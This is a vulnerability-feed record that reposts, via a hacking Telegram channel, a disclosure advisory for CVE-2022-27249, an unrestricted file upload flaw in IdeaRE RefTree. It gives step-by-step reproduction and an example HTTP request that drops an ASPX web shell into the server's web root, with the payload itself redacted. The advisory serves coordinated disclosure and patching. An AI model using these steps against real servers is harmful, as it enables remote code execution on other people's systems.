{"uuid": "b1652f52-0905-41ed-8a8a-4faf32fa9b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27249", "type": "seen", "source": "https://t.me/hacking_Attack/48314", "content": "Exploit Collector\nIdeaRE RefTree Shell Upload\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.\n\nMD5 | b5254f5700fec9d47bc63de6bc572026\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Remote Code Execution\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Unrestricted File Upload\nCVE ID: CVE-2022-27249\nseverity: High\nCVSSv3 score: 8.8\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nfound: 2021-09-13\nby: Savino Sisco saviosisco@gmail.com\n===============================================================================\n\n[EXECUTIVE SUMMARY]\nRefTree is a web application made for managing complex real estate situations.\nAmong other features, it offers the possibility for authenticated users\nto upload and download DWG (CAD drawings) files for buildings.\n\nDuring a penetration test activity, an \"Unrestricted File Upload\" vulnerability\nwas found which leverages the upload feature to upload a file anywhere on the \ntarget system.\n\nBy uploading a malicious web page, like an aspx web shell, to the server's\nweb root it is possible to achive code execution by just navigating to the\nmalicious page with a web browser.\n\n[VULNERABLE VERSIONS]\nIdeaRE RefTree < 2021.09.17\n\n[TECHNICAL DETAILS]\nIt is possible to reproduce the issue following these steps:\n1. Log into the application to get a valid session cookie\n2. Get a valid \"ObjId\" from the application (the ID of a building to associate\nthe file to)\n3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'\nto upload a file on the target system, for example a web shell in the\nserver's web root\n4. Navigate to the new page with a web browser to trigger code execution\nExample of the HTTP request to the Upload endpoint:\n\nPOST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 2211\nOrigin: https://[REDACTED]\nReferer: https://[REDACTED]/Reftreespace/\n\n{\n\"FileContent\": \"[BASE64_PAYLOAD]\",\n\"DwgName\": \"C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx\",\n\"UploadType\": \"WorkingCopy\",\n\"ObjId\": 4774726,\n\"ObjType\": 5,\n\"UpdateState\": true,\n\"DwgOp\": 23\n}\nHTTP/2 200 OK\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Microsoft-IIS/10.0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: [REDACTED]\nX-Powered-By: ASP.NET\nDate: Fri, 10 Sep 2021 15:00:53 GMT\nContent-Length: 24\n\n{\"UploadDwgResult\":null}\n[VULNERABILITY REFERENCE]\nThe following CVE ID was allocated to track the vulnerabilities:\nCVE-2022-27249\n[DISCLOSURE TIMELINE]\n2021-09-13  Vulnerability disclosed to our customer and the vendor.\nVendor acknowledged the issue.\n2021-09-17  Vendor released a fix for the software.\n2021-10-15  The vulnerability was rechecked in the newer version to confirm \nthat is was indeed fixed.\n2022-03-15  Researcher requested to publicly disclose the issue; public\ncoordinated disclosure.\n\n[RESOLUTION]\nUpdate the software to a version >= 2021.09.17\n\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:01.899535Z"}